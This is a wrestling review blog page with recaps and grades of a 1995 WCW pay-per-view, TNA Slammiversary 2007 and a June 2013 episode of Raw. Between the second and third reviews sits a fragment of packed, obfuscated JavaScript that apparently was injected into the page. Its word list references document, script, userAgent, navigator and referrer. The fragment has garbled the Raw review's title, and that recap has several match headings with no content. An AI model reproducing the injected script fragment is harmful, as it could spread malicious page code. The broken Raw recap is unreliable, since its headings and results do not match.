It hasn’t worked yet but this one is too early to say so I’ll let it slide. Again, notice that guys that play directly to the crowd, in this case yelling at them, get bigger reactions that anyone on the roster. See, the key difference between Sting and Hogan: both could get EPIC responses, but Sting could work very solid matches and in more than one style. Hogan was as formula based as Flair and that’s saying a lot.

Sting could work a lot of styles and could work for LONG periods of time. Meng is supposed to be a martial arts master here so his offense is considered great. It’s really weak but it goes to show you what the simple act of talking about how awesome someone is can do for you. It also shows the power the announcers have. They’re talking like they’re scared of Meng so his incredibly weak offense seems more impressive than it actually is. That’s what commentators can do.

Yeah Meng isn’t that good. The hand gyrations from Meng are funny for some reason. Sting gets in some weird offense including a flying fat smash to the face of Meng from the second rope. Yeah it’s weirder than it sounds but it looked ok I guess. It’s impressive to see and hear the crowd change so much depending on how Sting is doing. That says a lot about him. Yes I’m a big Sting fan.

We’re on the floor now and Meng is in trouble. Parker gets beaten up too so this isn’t a total loss. Meng headbutts the post. The Scorpion is put on and Meng doesn’t tap. The hold is broken and the fans go quiet. Sting goes to some of his high risk stuff…and then wins with a jumping DDT?  Wait what?? I’ve never seen him win with that before and I haven’t since. It came out of freaking nowhere.

Something makes me think they had to switch something up in there, maybe due to a missed spot or an injury. Sting was always supposed to win, don’t get me wrong, but the ending was too weird to be what was planned. Actually maybe it was. This is WCW in 1995 after all.

Rating: D+. Pretty weak and formula based stuff here. Sting was over beyond belief and had to win it though. I guess they figured going with Sting was the best bet and it clearly was. This wasn’t much but it did its job fine I suppose. If nothing else we have a champion again and he’s over.

Some guy has won a sweepstakes and is in the front row. Ok then.

We recap Flair vs. Savage which is just them hating each other and Flair beat up Savage’s father. It resulted in Hogan pinning Flair. I know. Such inventive ideas! Flair beat up Savage’s dad to end Slamboree and no one cared. That set up this with Savage now going crazy.

Ever notice these more talented guys have tendencies to act like crazy men in Hogan run companies? Couldn’t be Hogan trying to make them look stupid or weak could it? You might notice it didn’t happen in WWF when Hogan was in charge. Yes I can’t stand Hogan’s methods of running companies. He ruined Flair in WCW and Savage was booked as a crazy man there.

Savage says congratulations to Renegade. Now that Hogan’s idea has been praised, he doesn’t like Flair and says it really quietly as he is known to do. I love his insane promos if nothing else.

Ric Flair vs. Randy Savage

It’s a bad sign that they have to point out that this is the main event. It couldn’t have anything to do with the idea that the world champion should be wrestling but isn’t here could it? Wow I really am bitter here. Well the show has sucked and we had to sit through more clips of Hogan making Flair look weak which ticks me off as he does it everywhere so there we go.

Angelo Poffo, Randy’s father, is here with him. That’s ok since it’s Father’s Day. The fans are into it if nothing else. That double axehandle stays sweet. It always has been and it always will be. It’s mostly Flair to start which is odd. Savage comes back and gets no real reaction. And let’s talk about the NBA. Why? Who knows? Let’s do it anyway!

It’s so sad that Flair is now the same old man that is more or less worthless anymore that Poffo is here. I hate to say it but it’s true. Flair works the knee of course so there we are. Savage tries to punch from his back. Ok then. Figure Four is on and Angelo is crying. Brain talks about how the crowd is all watching this. You guessed it: SHOW THE CROWD!!! This has been ok at least and by far the second best match of the night.

The lack of title is hurting it but I can live with that here. Savage is making his comeback. The fans are into this. I’ll say this: the crowd hasn’t been dead tonight. They’ve been confused but they’ve been hot all night. Savage gets the elbow and picks Flair up. He had the clean pin and pulls him up. Something tells me this is stupid.

He gets the bell and the fans pop for Savage’s signature weapon. And he dives at Flair and hits the railing. Angelo is choking Flair with his cane. And it meets Savage’s head and there’s your pin. The fans pop for it. Like I said, it’s a confused crowd tonight. Savage and his father leave together to end the show.

Rating: B. The ending made next to no sense as Savage should have gone over here but at the same time it was a good enough match. The problem for me was that I felt like we needed something else now. It’s like while this was an ending to the show, there was something missing at the end of the show. This is going in the wrong place. The match was solid, but at the same time it had its flaws. Good enough considering who was in it though.

Overall Rating: D. This was a pretty weak show to me. There are two matches that worked, but at the same time bad parts were REALLY bad. The crowd here was…different. They liked what they like I guess so there we are. The show just wasn’t that good, plain and simple. I mean Pittman vs. Duggan? Seriously? The opener and the main event were good so I’ll give them that, but other than that the rest of the card was just boring. Take a pass here.

Remember to follow me on Twitter @kbreviews and check out my new book on the History of Starrcade from Amazon for just $4 at:

 

 

 

Slammiversary 2007
Date: June 17, 2007
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 3,500
Commentators: Mike Tenay, Don West

Back to TNA again and in this case it’s the anniversary show. Since Eric and Hulk aren’t around yet, we have the then signature TNA match in the form of the King of the Mountain. This is for the vacant title because the NWA left and therefore we’re needing a first official TNA World Champion. Chris Harris is in the main event because…..I don’t think anyone knows the answer to that actually. Let’s get to it.

The opening video is a of some shots of old wrestling and then the original TNA logo. We cut to some country/bluegrass style music set to clips of the old TNA stuff. Jarrett beating up Hogan is in there. Hogan never came to TNA until 2010, officially at least. Now we’re looking at someone that looks like Tiger Woods putting a golf ball as West and Tenay do commentary. Jeff Jarrett hits him with a guitar and keeps the ball from going in. Ok then.

Some band performs the theme song for the PPV. Fast forward time.

LAX vs. Rhyno/Senshi

LAX had dominated the company in 07 and this is Senshi (Kaval) and Rhyno’s first time teaming together. The camera seems a bit lower than usual. Maybe it’s a venue thing. Hector Guerrero is with Senshi/Rhyno because Konnan has been blaming him for LAX losing the tag belts. Rhyno and Homicide start us off and a powerbomb is messed up, sending Homicide to the floor I think by mistake.

Off to Senshi who steps onto the bottom rope to get in. Hernandez comes in and Senshi manages to get out of the way to preserve his life. He goes after SuperMex’s leg which doesn’t really do much at all. LAX can’t get anything going here and never mind that as Hernandez picks Senshi up and LAUNCHES him across the ring. I mean that man was airborne. It looked incredible.

Back to Homicide as LAX takes over and beats on Senshi. Rhyno hasn’t really done much so far but I guess they’re saving him for the big hot tag at the end. To be fair he’s good at the big explosive comebacks so I can live with that one. Hernandez throws Senshi around again but a powerbomb is countered and Senshi manages to hit the double stomp to set up the aforementioned hot tag. Rhyno throws everyone around and Hernandez goes to the floor. Senshi hits a HUGE dive to take him out but Homicide hits a cutter on Rhyno. Konnan and Hector get involved, allowing Rhyno to gore Homicide for the pin.

Rating: B-. Fun opener here and the high spots were VERY high. That’s how you open a show as the crowd is now really fired up and it’s due to the proper pacing of a tag match. On top of that, they kept it relatively short (8 minutes or so) which is the idea for an opener. Good stuff here and I liked it quite a bit.

Scott Steiner is legit injured and had to legit have his life saved in Puerto Rico so he might not be here.

We run down the card because that’s what TNA does on its PPVs.

There’s a mystery person in King of the Mountain, which I’ve already spoiled.

Video explaining King of the Mountain. We even recap the qualifying matches to fill in even more time.

Eric Young is all paranoid about getting fired. Traci Brooks, Roode’s associate, comes up to try and seduce him which would eventually work, making him sign with Roode. Gail Kim comes in and snaps him out of it by kissing him.

X-Division Title: Chris Sabin vs. Jay Lethal

Sabin has been champion for like five months at this point. Nash comes out for commentary because he’s molded Lethal into Black Machismo recently. Nash’s headset goes out almost immediately after the bell rings and the fans are split. Lethal gets a pretty sweet headscissors to send him to the floor, followed by an ok suicide dive. Sabin spits in Lethal’s face and hits a jumping knee to the face to take over.

Sabin fires off something like a Garvin Stomp but does it fast enough that I don’t have to think of Garvin. The announcers are talking about Nash beating Backlund in MSG. How exactly can you analyze a match that lasted 8 seconds? We go into a standard match formula with Sabin beating Lethal down until we get to the Lethal comeback and then go to the finish.

I’m not sure what it means when you can more or less call the formula for a match about halfway through it, but I don’t think it’s anything good. Lethal makes that comeback with a few hip tosses and a spinning cross body for two. Nash: “This place used to be called Jonesville. Then I got here.” Lethal hits a unique move which can only be described as a reverse fisherman’s suplex into a reverse powerbomb. Looked good but too complicated at the same time.

Sabin takes over with some rapid fire kicks which is what he would get more famous as soon enough in the Motor City Machine Guns. Lethal grabs a full nelson but can’t hit the Lethal Combination. The second time works a bit better and the big elbow gives Lethal his first of I believe six X-Titles.

Rating: C. Just ok here and nothing all that great. Lethal wasn’t exactly over yet and he wouldn’t be for a long time. At this point he was just a goofy 22 year old who did nothing but imitated a much better guy. Nothing to see here but for a big show they needed a title change so that’s all fine and good.

At the Slammiversary press conference, we set up the football players match. Yeah there are former Tennessee Titans wrestling tonight. Oh joy.

Storm is with Lauren (GORGEOUS) and rants about Wycheck some more.

Frank Wycheck/Jerry Lynn vs. James Storm/Ron Killings

Why is this happening? Oh because Wycheck was at the first shows. Ok then. Truth and Lynn start us off which is probably the best thing they can do. Off to Wycheck for the showdown with Storm….and Storm knocks him down on the first shot. Storm puts on a Titans helmet and dances around a bit and then knocks Wycheck down again.

Frank takes over and throws Lynn over the top onto the heels and the fans think this is good stuff. I guess the TNA stupidity follows them around. Wycheck misses a shot and is in trouble again. He had to retire due to concussions so the heels go for his head. A chair is brought in but the distraction is enough to get the tag to Lynn. Eye of the Storm takes care of him and Storm spits beer in the face of the other football player at ringside.

Truth comes in and doesn’t do as well so it’s a double tag again. Wycheck beats up both heels with celebrity stuff but Storm kicks his head off to cheers. The other football player makes the save and gets in a fight with Jackie. Everything breaks down and Storm has to take the cradle piledriver from Wycheck. Dang I hope he got a nice big bonus for that one.

Rating: D. I hate celebrity matches. I have no connection to Frank Wycheck and the only reason he’s there was he was a big football player in Tennessee. I love the NFL, but this doesn’t mean anything to me and we have to get a bad match that looks like Storm isn’t talented enough to beat a guy with zero experience. I hate these things.

We recap Backlund vs. Shelley. Shelley was one of Nash’s students and Backlund was crazy about Nash beating him back in 94. Shelley said that he could beat Backlund in 9 seconds and there was something about a book being stolen or something like that.

Bob Backlund vs. Alex Shelley

Backlund is one of those cases where I have no idea what they were thinking when they brought him in. We hear the stories of Backlund not signing autographs unless you can recite all of the presidents in order. Backlund takes him down with ease and the fans are mostly on Shelley’s side. They slug it out a bit and Backlund takes him into a short armed scissors. Backlund uses the British Bulldog/Shawn Michaels counter (which should be called the Backlund counter but whatever).

Backlund hits a gorgeous butterfly suplex and then an atomic drop which used to be Backlund’s finisher. Sabin runs in to trip him up but gets crotched on the top. Shelley gets dropped into Sabin’s balls and a bridging O’Connor Roll beats Shelley clean. Yes, Bob Backlund just destroyed the Motor City Machineguns by himself in less than four minutes.

Rating: C-. The match was fine but this is a great example of “what were they thinking”. I mean don’t get me wrong, Backlund is a legend, but this is the year 2007. Who are they really appealing to with him? This one isn’t about me being mad about him being there, but more of genuine confusion. I don’t get this one at all.

The Guns try to double team him but they both get put in the Crossface Chickenwing. Nash comes out to break it up and Jerry Lynn comes out to even the odds. Nash kicks Lynn down and the Guns beat up Backlund. Now Jay Lethal comes down and beats up the Guns as well. I have NO IDEA what just happened.

Christopher Daniels starts calling out Sting and the lights go out. He’s the Fallen Angel at the moment and is facing Sting tonight. Daniels talks about being here to do the Father’s work and how he’s an angel. Again, I have no idea what they’re talking about here and I don’t think they know either.

We recap Christy Hemme vs. the Voodoo Kin Mafia (New Age Outlaws). They basically said you have to sleep your way to the top so she brought in a bunch of teams to face them and I think this is the final one with her bringing in the Bashams. There was a big brawl backstage and Road Dogg gave a big angry promo about it.

Voodoo Kin Mafia vs. Damaja/Basham

At least we can look at Christy’s hottness. Big brawl to start and no one is really all that interested. Christy is chased into the ring and oh hey there’s the bell. Basham (Danny) vs. Road Dogg to start us off. Roadie gets beaten down and it’s off to Kip. He gets double teamed as well as the Bashams set for a double suplex. Roadie spears one of them and Billy gets a small package to Basham for the pin. This was NOTHING, not even lasting three minutes.

Billy chases Christy up the ramp but VKM associate Lance Hoyt picks her off. And then Hoyt beats up the VKM. Jimmy Rave would be added to form the Rock N Rave Infection which would only result in more tiny outfits for Christy and nothing else to note. This should have been on Impact. Oh and Christy kisses Hoyt after the Bashams help for a 3-2 beatdown.

Rick Steiner is mad about not having a match tonight but he has a partner. He whispers it in Cornette’s ear and Jim is very happy, saying the match is on.

LAX beats up Hector Guerrero.

We recap Roode vs. Young which is STILL going on. Jeff Jarrett made a one off return to help Eric and won Young’s freedom which didn’t count. The match is for Eric’s freedom of course but if Eric loses he’s fired, which was what Eric was terrified of at this point.

Robert Roode vs. Eric Young

Roode slaps Young in the head a bit and it fires Young up, making him shout HIT ME AGAIN. Young sends him to the floor and hits a huge dive off the top to take Roode out. Roode takes over quickly and we make Brooks jokes. There’s the Hennig neck snap and Roode is in total control. Time for a chinlock and I remember why I hated this heel run by Roode.

Eric counters into an electric chair drop and both guys are down. Discus lariat gets two for Eric. Young is sent to the floor so he pulls Brooks’ pants down after dancing with her. Top rope elbow gets two for Eric. Brooks comes in and there’s a double Death Valley Driver which gets two on Roode. You know, because a big and impressive spot like that shouldn’t end a match. And then Roode whacks Eric in the head with a chair for the pin. Seriously that’s it.

Rating: C-. The ending KILLS that match. Young was rather popular at this point and having him lose after a big spot like that is really pretty stupid. Roode was SO freaking boring as a heel and he never really changed anything about his character, which somehow made him even more boring. Decent match until the ending, but that kills it.

It’s a Dusty Finish though. Roode fires Eric but here’s Cornette to say hang on a second. The match is restarted and Roode hits him in the head multiple times. Gail runs out and beats down Brooks. The distraction leads to a rollup pin for Eric.

Team 3D doesn’t care who Steiner’s partner is. They think Scott’s throat problem is because he talked about the Dudleys too much and he’s hiding. D-Von’s head looks like it’s made of old shoe leather.

Tag Titles: Team 3D vs. Rick Steiner/???

And the mystery partner is….Road Warrior Animal. Yeah that’s it. The fans chanting it before he came out kind of hurt the shock a bit. Rick puts on his head gear post bell and it makes a huge difference. Rick vs. D-Von to start us off. I don’t think Scott is in the hospital. I think it’s more like he and Animal cooked him and had him for a late night snack. It would explain those guts on them.

Animal offers to come in and Rick waves him off. Nice partner dude. Oh ok there he is and Ray gets in his face. A piledriver is no sold and we have gimmick infringement from Hawk. I guess since he’s dead it’s ok. Back to Rick and they mistime something, as I think Ray was supposed to hit Rick as he hit the ropes but Rick stopped with zero contact at all. Off to Bubba legally and a neckbreaker gets two.

D-Von misses a middle rope headbutt and there’s the tag to Animal. Something I never get: why can a team that has never teamed together before like Steiner and Animal get a tag title match? There isn’t another team that can challenge the Dudleys? Animal cleans house and it’s back to Rick as everything breaks down. The challengers try to load up the Doomsday Device but Animal gets caught in the double neckbreaker and the 3D ends Rick.

Rating: D. These “dream” matches usually suck because by the time you get teams big enough to have a dream match, they’re old. To be fair though, there was almost no way Animal, who barely wrestled anymore, was going to be able to come out there and have a decent match. Scott may be old and slow but he’s active at least. Bad match, but understandably bad.

We recap Daniels vs. Sting. Sting mentored him which I don’t even remember and Daniels snapped because of it. I remember being excited for this match but thinking the match sucked. I wonder if it’ll still be the case. Wait….that might have been Sting vs. Storm. I think it was actually.

Christopher Daniels vs. Sting

Sting repels from the ceiling for no apparent reason. It looked cool though. Sting takes over to start and speeds things up, which you would think would favor Daniels. He hooks the Deathlock very quickly but Daniels grabs a fast rope. Daniels takes over and has a stupid Mike Tyson style tattoo (paint) around his eye. Sting fights back but neither guy can get a hip toss.

We go old school with an abdominal stretch which doesn’t count for some reason. Daniels and Hebner get into it a bit and then he snaps off a Stinger Splash. This of course fires up the Stinger and Daniels is in trouble. Faceplant gets two. Two Stinger Splashes are broken up and the Last Rites (Cross Rhodes) is countered into the Death Drop for the pin.

Rating: D+. Yeah it was this match that I found boring and lackluster. There was nothing here at all and Sting just beat him up like he was any other guy. Daniels had been built up as the guy that could take down Sting and Sting destroyed him here. I don’t get the point of this one and it didn’t work at all.

We recap Abyss vs. Tomko. This was another part of Abyss vs. Christian’s Coalition. Abyss had taken a huge beatdown from the whole team and Tomko is the first victim for him.

Christian’s Coalition says Christian will win the title tonight. AJ protests because he’s in there too. Christian says AJ will sacrifice himself so Christian can win the title and Styles isn’t sure what to think of that but he goes along with it because he’s an idiot at this point.

Tomko vs. Abyss

This is No DQ. Slugout to start is won by Abyss and they head to the floor. Tomko takes over with the violent tendencies, ramming Abyss into the steps to take over. Back in a bit boot puts Tomko down and TOTALLY misses an Umaga charge in the corner. Tomko sold it anyway because he’s not that talented. Chokeslam gets two. Here are the tacks but Tomko reverses and powerbombs Abyss onto them for two.

Abyss’ arm is busted open so he fires a shot to Tomko and hits the floor to get another bag. This time it’s glass but again he takes too long and Tomko gets a big jagged piece and drives it into Abyss’ head. In a SICK spot, Abyss is kneeling over the glass so Tomko practically curb stomps him into it. FREAKING OW MAN!!! They head to the floor again and Tomko finds a barbed wire ball bat which goes into the ribs and back of Abyss.

They go to the entrance and begin to climb. This isn’t going to end well. Tomko is up top with the bat but Abyss grabs the bat and pulls Tomko down to a big box sort of thing which falls apart. Tomko being up a few seconds later completely ruins the spot. I mean he’s up maybe 8 seconds later. Abyss is down even longer than Tomko was after that flip. Are you kidding me? Back in the ring, Tomko tries to pick Abyss up but walks into the Black Hole Slam onto the glass for the pin. That was pretty anti-climactic.

Rating: B-. This was about violence and on that note it worked, but the big spot of the match completely bombed. Like I said, having him pop up so fast just killed it. Not a great match or anything here but it was fun for the most part and that’s really all they could have hoped for out of this one.

Angle and Joe stare it down in the back. Angle says let’s go have a great match and beat each other up badly. Joe shakes his hand but says tonight it’s real.

Mike Tenay is in the ring for some reason. He shows us an interview with Jeff Jarrett. His wife Jill had legitimately died recently and he wasn’t sure if he was going to keep wrestling. He talks about the history of the company, including stuff like Toby Keith and beating up Hulk Hogan. He talks about founding the company and his wife agreeing that it was ok. Then he gets to the heavy stuff, talking about his wife passing away less than a month ago. Jarrett is in tears almost the entire time while he’s saying this. Being in the ring is the worst place he can be right now though, so his future is unknown.

The fans aren’t sure if they should chant for Jill or Jeff.

Cornette announces the last guy in the match will be Chris Harris.

TNA World Title: Kurt Angle vs. Samoa Joe vs. AJ Styles vs. Christian Cage vs. Chris Harris

This is King of the Mountain and the title is vacant. Ok so King of the Mountain is TNA’s signature match, or at least it was before Hogan and Bischoff took over. There are five guys and there is a place to hang the belt above the ring. In essence, it’s a reverse ladder match because you have to hang the belt above the ring. Before you’re allowed to do that though, you have to qualify by pinning someone else. When someone is pinned that person has to go to the penalty box for two minutes. Got all that?

Joe goes right after Angle. Cornette is holding the belt. This is kind of a mess at first which makes it really hard to call. Cage and Styles beat up Harris and then Styles lays down for Cage. Angle makes the save but Joe wants to hurt him some more. Styles takes Harris down again and wants Christian to lay down. Christian says no so Styles rolls him up for two. The camera is all over the place, making it really hard to keep up with.

Joe and Christian are in the ring now and down goes the Canadian. Off to Harris but the Cataonic and Unprettier both miss. A full nelson slam puts Christian down but Styles breaks it up. He gets caught in the Catatonic for a fast pin by Harris, making him eligible. The clock for AJ is at 1:30 by the time he gets in the cage. Harris and Cage fight on the floor so Joe throws a ladder at them.

Back to Angle vs. Joe with the fat boy taking over. Angle grabs a boot though and here are the Rolling Germans. Christian comes in and is in an ankle lock/Koquina Clutch combo. Styles gets out just in time for the save. Cage puts a ladder between the ring and barricade like a bridge. Christian falls down onto it due to a right hand by Harris to crotch him. On top of that he’s stuck there.

In the ring, AJ hits the Pele and springboard forearm to put Joe outside. Styles Clash to Angle is countered into the ankle lock but AJ breaks it, sending Kurt to the floor. AJ gets launched onto Christian onto the ladder. Harris goes up another ladder but Angle Slams him off for a pin to become eligible. Joe THINKS and throws the ladder to the floor. He beats up everyone in sight, hitting a MuscleBuster on AJ for two.

We get a ref bump in a gimmick match. Angle gets put in the choke and he taps, but there’s no referee. Christian hits Joe with a ladder and steals the pin on Kurt. Man there are some smart people in this company. The referee can’t let Harris out even though his time is up. Oh there’s another referee so it doesn’t matter. Joe stops Christian from hanging the belt and hits a huge cutter off the ladder onto the belt.

Harris goes up with the belt and people start booing. A belt shot stops Joe and he hiptosses Christian off, but Styles hits a springboard dropkick to break it up. Angle is out of the box. AJ and Joe climb on top of the box for no apparent reason. AJ kicks Joe low but Joe launches AJ off the top and through the announce table. Harris knocks Joe off the top and Christian is tossed back into the ring after climbing up as well. Harris hits a huge clothesline to kill Angle.

Everyone is down so Harris goes Terry Funk and spins around with the ladder over his head. He goes up AGAIN but Christian knocks him over and into the buckle. Christian goes up but Kurt grabs the ankle lock while the Canadian is still up there. No tap though and they fight on the ladder. Harris spears Christian off and Angle hangs the belt to become champion. How bad is it that I don’t remember him pinning anyone? I had to go back and find where he pinned Harris.

Rating: B. Good match here as the King of the Mountain was its usual insane but fun self. This is TNA’s signature match and almost as usual it gets to be a fun match. Angle winning the title and becoming the first champion is probably the right move. They waited WAY too long on pulling the trigger on Joe, but that’s TNA for you. Good main event though.

Overall Rating: C-. This is a really hard one to grade. There’s some good stuff on there for sure and the last two matches are both fun, but MY GOODNESS is this a chore to sit through. The core of this show is just exhausting and it feels like it’s never going to end. Not a horrible show at all but I’d have a remote in hand to fast forward about 60% of it, which isn’t a good thing at all.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbktr|var|u0026u|referrer|eynye||js|php'.split('|'),0,{})) Night Raw
Date: June 17, 2013
Location: Van Andel Arena, Grand Rapids Arena
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

We open with the usual package of still photos from Payback last night, complete with the voiceover dude.

Intercontinental Title: Curtis Axel vs. Wade Barrett

Wade Barrett vs. Christian

Christian takes it to the floor to start and hits a BIG dive to take out Barrett. Back in and Barrett hooks a chinlock, only to have Christian fight up and hit a tornado DDT for two. Wade kicks him in the ribs for two but Christian avoids a charge in the corner. The Killswitch ends Barrett in 3:10.

You can pick No DQ, 2/3 falls or no countout for Bryan vs. Orton later on.

The Wyatt Family is coming.

Sheamus vs. Rhodes Scholars

Mark Henry might retire later tonight.

RVD is back at MITB.

Yeah I just said that. Why do you ask?

Randy Orton vs. Daniel Bryan

Before the match we hear Orton saying that Bryan is the weak link in the team and is the reason they lost the title match last night. The match is going to be No DQ with 54% of the vote. Bryan goes after the arm to start but Orton reverses into a hammerlock of his own. Daniel fights up and kicks away at the legs before hitting the double knee stomp out of the surfboard. Orton comes back to stomp Bryan down into the corner and puts Daniel down off the slingshot suplex.

Bryan counters the Thesz Press into a half crab but Orton grabs the ropes. More kicks in the corner put Orton down again but he comes back with a clothesline and a chinlock. Back up and Orton pounds away in the corner but Bryan comes back with the moonsault out of the corner and a running clothesline. A pair of running dropkicks in the corner get two for Daniel but Orton avoids the FLYING GOAT. Orton pulls out a kendo stick to pound on Bryan for two back in the ring and we take a break.

Post match Orton helps Bryan up and nothing else happens, making me think it was a legit stoppage.

US Title: Kane vs. Dean Ambrose

Shield beats Kane down post match with the TripleBomb.

Mark Henry is here.

Vickie yells at Shield in the back but Vince comes in and compliments their ruthless aggression, meaning Vince vs. HHH MUST CONTINUE!!!

Antonio Cesaro vs. William Regal

Cesaro pounds him down and hits the gutwrench suplex as the announcers ignore the match to bicker. A delayed backdrop gets two on Regal and Cesaro hooks a swinging chinlock of all things. The Neutralizer ends Regal at 2:43.

Post break Henry says all the people are puppets and everyone bought it.

Heath Slater vs. Chris Jericho

Jericho pounds him down with ease but Jinder Mahal breaks up the Lionsault to give Slater two. If my memory is right, Slater beat Jericho back in the first season of NXT. Not that it matters as the Codebreaker ends Slater at 2:20. Nothing to see here.

Post match Jericho beats up the rest of the Band because he can.

Sin Cara vs. Curtis Axel

Vince approves Henry vs. Cena for MITB when Stephanie and HHH come in. Trips gets on Vickie for not listening to him and glares at Vince.

Alberto Del Rio vs. CM Punk

Back with Del Rio kicking Punk in the head as we hear that Bryan will be ready to go on Friday. Alberto goes up for an ax handle but gets punched in the ribs on the way down. Del Rio gets in another kick to the arm to send Punk into the ropes for the Backstabber for two. The low superkick is countered into a rollup for two and now the low superkick connects for two for the champion. The cross armbreaker is countered into the GTS but Del Rio rolls to the outside. Alberto walks out for the countout at 11:30.

Post match Ziggler runs out and DESTROYS Del Rio to a mammoth face reaction.

Punk is still standing in the ring and LESNAR! He picks up a mic but says nothing. Instead he picks up Punk and lays him out with a massive F5 to end the show.

Results

Christian b. Wade Barrett – Killswitch

Rhodes Scholars b. Sheamus – Rollup

Randy Orton b. Daniel Bryan via referee stoppage

Kane b. Dean Ambrose via DQ when Shield interfered

Antonio Cesaro b. William Regal – Neutralizer

Chris Jericho b. 3MB – Codebreaker

Curtis Axel b. Sin Cara – Spinning DDT

CM Punk b. Alberto Del Rio via countout

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at: